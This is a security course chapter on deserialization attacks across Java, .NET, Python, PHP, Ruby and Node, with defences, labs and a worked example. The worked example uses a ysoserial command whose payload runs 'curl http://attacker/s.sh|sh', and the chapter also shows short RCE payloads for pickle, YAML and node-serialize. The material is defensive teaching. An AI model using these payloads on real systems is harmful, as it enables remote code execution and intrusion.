Chapter 37 — Deserialization attacks
In one sentence
Deserializing attacker-controlled bytes with a native serializer (Java
ObjectInputStream, .NET BinaryFormatter, Python pickle, PHP unserialize,
Ruby Marshal/YAML.load) lets an attacker instantiate objects and trigger
"gadget chains" already present in your dependencies — usually reaching RCE.
Where we are
G1 Ch 47 named insecure deserialization as a supply-chain/integrity issue. This chapter is how the exploitation actually works per language and how to shut it off.
How it works
Why it's RCE and not just "weird objects": the serializer, on reading the
stream, constructs objects and calls lifecycle methods (readObject,
__wakeup/__destruct, __reduce__, readExternal, deserialization
callbacks). A "gadget chain" is a sequence of classes already on your classpath
whose lifecycle methods, when wired together via the crafted object graph,
end in Runtime.exec / ProcessBuilder / system() / a JNDI lookup / a
reflected method call.
JAVA
Sink: `ObjectInputStream.readObject()` on untrusted data. Also RMI,
JMX, JNDI (Log4Shell class), some JSON libs with type info
(Jackson `enableDefaultTyping`, `fastjson` autotype), XMLDecoder,
`Yaml.load` (SnakeYAML).
Chains: Apache Commons-Collections (1-7), Commons-BeanUtils, Spring,
Groovy, ROME, C3P0, Hibernate, Click, Vaadin -- `ysoserial`
generates payloads for ~30.
Recognise: magic bytes `AC ED 00 05` (hex) / base64 starts `rO0`.
Also: gadget chains that trigger a JNDI lookup -> LDAP/RMI ->
remote class load (the Log4Shell mechanism) even without a local
exec gadget.
.NET
Sinks: `BinaryFormatter` (removed in .NET 9, still everywhere in
.NET Framework), `LosFormatter` / `ObjectStateFormatter` ->
ASP.NET VIEWSTATE (if MAC disabled OR the machineKey is known/
default -> RCE), `SoapFormatter`, `NetDataContractSerializer`,
`Json.NET` with `TypeNameHandling != None`, `JavaScriptSerializer`
+ a `SimpleTypeResolver`, `fastJSON`, `XmlSerializer` with an
attacker-controlled type, `DataContractSerializer` similarly.
Tool: `ysoserial.net` (TypeConfuseDelegate, ActivitySurrogate-
Selector, ObjectDataProvider, ...). ViewState: `--generator=` +
the machineKey.
PYTHON
Sinks: `pickle.loads` / `cPickle` / `_pickle`, `shelve`, `dill`,
`pandas.read_pickle`, `numpy.load(allow_pickle=True)`,
`joblib.load`, `torch.load` (pre-2.6 default), `yaml.load` without
`SafeLoader` (`!!python/object/apply:os.system ['id']`),
`jsonpickle`.
Mechanism: a class defines `__reduce__(self): return (os.system,
('id',))` -> unpickling calls it. Trivial to write; no gadget
hunting needed.
PHP
Sink: `unserialize()` on untrusted input -> POP chains via magic
methods (`__wakeup`, `__destruct`, `__toString`, `__call`,
`__get`) of classes in the app + frameworks (Laravel, Symfony,
Monolog, Guzzle, ...). Tool: `PHPGGC`.
PHAR: `phar://` wrapper triggers `unserialize` of the phar's
metadata on ANY filesystem op (`file_exists`, `fopen`,
`getimagesize`, `is_file`, ...) with a crafted `.phar` -- no
explicit `unserialize()` call needed (mostly PHP < 8, but check).
RUBY
Sinks: `Marshal.load`, `YAML.load` (Psych: `--- !ruby/object:...`),
`Oj.load` in some modes, `CSV` with converters.
"Universal" gadget chains exist for recent Ruby/Rails
(`universal_deserialisation_gadget`).
NODE
Sinks: `node-serialize` (`{"x":"_$$ND_FUNC$$_function(){...}()"}`
-> IIFE RCE), `serialize-javascript` misused, `funcster`, `cryo`.
Also prototype pollution via `JSON.parse` + merge (Ch 34).
Defence:
[ ] DON'T deserialize untrusted data with a native serializer. Use a
DATA format with no code semantics: JSON (plain), Protocol Buffers,
MessagePack, CBOR -- parsed into known DTOs / schemas.
[ ] If you MUST accept a serialized object:
Java -- `ObjectInputFilter` (JEP 290): an ALLOWLIST of expected
classes + limits (depth, refs, array size). Reject
everything else. Consider SerialKiller / NotSoSerial.
.NET -- don't use BinaryFormatter; `Json.NET` with
`TypeNameHandling.None`; ViewState: enable MAC +
encryption, unique per-app `machineKey`, `ViewStateUserKey`.
Python-- `yaml.safe_load` always; never unpickle untrusted; if a
trusted pickle must cross a boundary, HMAC-sign it and
verify before loading. `torch.load(weights_only=True)`.
PHP -- `json_decode`; `unserialize($data, ['allowed_classes' =>
false])`; set `phar.readonly=1`; be wary of filesystem
functions on user-controlled paths (phar).
Ruby -- `YAML.safe_load` (permitted_classes allowlist); `JSON`.
[ ] Type-info in JSON: Jackson -> never `enableDefaultTyping` /
`@JsonTypeInfo` with a permissive base; fastjson -> `safeMode`.
[ ] Integrity: sign serialized blobs you legitimately round-trip
through a client (HMAC), and verify before deserializing --
though "don't deserialize untrusted" is still better.
[ ] Network: the deserializing process with no outbound (kills JNDI/
LDAP remote class load) and least privilege.
Worked example
Java readObject on a cookie -> RCE, and the JEP 290 filter.
A legacy SecureShop service stores a "remember-me" token as a
base64-encoded serialized Java object in a cookie, and does:
Object o = new ObjectInputStream(
new ByteArrayInputStream(b64decode(cookie))).readObject();
ATTACK:
ysoserial CommonsCollections6 'curl http://attacker/s.sh|sh' \
| base64 -w0
-> set as the cookie -> the service deserializes it -> the
Commons-Collections gadget chain runs the command -> RCE as the
service user -> then Part 4/5 lateral movement.
FIX (in order of preference):
1. Stop serializing Java objects into client-visible tokens. Use a
signed JWT / an opaque server-side session id (G1 Ch 46).
2. If the format must stay for a migration window: an
ObjectInputFilter allowlisting ONLY the two DTO classes the
token legitimately contains, with maxdepth/maxrefs limits:
ObjectInputFilter f = ObjectInputFilter.Config.createFilter(
"com.securesh.RememberMe;com.securesh.UserRef;" +
"!*;maxdepth=5;maxrefs=20");
ois.setObjectInputFilter(f);
A CommonsCollections payload -> rejected (class not in allowlist).
3. The service runs with no outbound network (a JNDI-based chain
can't fetch a remote class) and as a non-root, minimal user.
4. Alert on the service spawning a child process.
Practice (75 min)
- PortSwigger Academy "Insecure deserialization" track: PHP (modify
serialized objects,
unserializeto RCE via a gadget with PHPGGC), Java (ysoserialagainst a Java lab), .NET/Ruby where labs exist, and the "developing a custom gadget chain" labs. - Locally, per language you use:
- Python: an endpoint that
pickle.loadsa request field. RCE with a__reduce__class. Then switch to JSON + a dataclass; re-test. Alsoyaml.load->yaml.safe_load. - Java: a
readObjectsink + Commons-Collections on the classpath; RCE withysoserial. Then add a JEP 290 allowlist filter; re-test. - PHP: an
unserializesink + a magic-method gadget; RCE with PHPGGC. Then['allowed_classes' => false]. - .NET (if applicable): a
Json.NETTypeNameHandling.Autoendpoint; RCE withysoserial.net; fix to.None.
- Python: an endpoint that
- ViewState: a lab ASP.NET app with a known/default
machineKey; forge a ViewState withysoserial.net. Fix: unique key + MAC + encryption. - Add Semgrep/CodeQL rules for the sinks in your languages; wire into CI.
Common mistakes
- Deserializing untrusted input at all with a native serializer. JSON/ protobuf into typed DTOs instead.
- "We removed the obvious exec gadget." Chains that trigger JNDI/LDAP remote class loading don't need a local exec gadget (Log4Shell mechanism). Allowlist classes; deny egress.
yaml.loadwithoutSafeLoader. Full object instantiation. Alwayssafe_load.- Jackson
enableDefaultTyping()/ permissive@JsonTypeInfo; fastjson autotype on. Turns JSON into a deserialization sink. - ASP.NET ViewState with a default/shared/committed
machineKeyor MAC disabled. Forgeable ViewState = RCE. - PHP filesystem functions on user-controlled paths.
phar://triggers deserialization without anunserializecall. - Signing the blob but still using a native deserializer on it. Better than nothing, but a key leak or a signing bug is back to RCE. Prefer a data format.
Check yourself
- Why does deserialization become RCE rather than just "unexpected objects"?
- What is a gadget chain, and where do the gadgets come from?
- Give the magic bytes for a Java serialized stream and a Python
__reduce__RCE snippet. - What is the phar:// trick in PHP and why is it dangerous even without an
unserialize()call? - What is JEP 290 /
ObjectInputFilterand what does it let you do? - Why does denying outbound network from the deserializing process matter?
Further reading
- Talks: "Marshalling Pickles" (Frohoff & Lawrence, AppSecCali 2015) — the talk that launched modern Java deserialization; "Friday the 13th: JSON Attacks" (Muñoz & Mirosh) for .NET/JSON.
- Tools:
ysoserial(Java),ysoserial.net,PHPGGC,marshalsec;GadgetProbe(Burp) to fingerprint classpath gadgets. - Cheat sheet: OWASP "Deserialization Cheat Sheet"; the "Java Deserialization Cheat Sheet" (GrrrDog).
- Reference: JEP 290 & JEP 415 (context-specific filters); Jackson's
"polymorphic deserialization" security notes; the ViewState /
__VIEWSTATERCE write-ups (Soroush Dalili).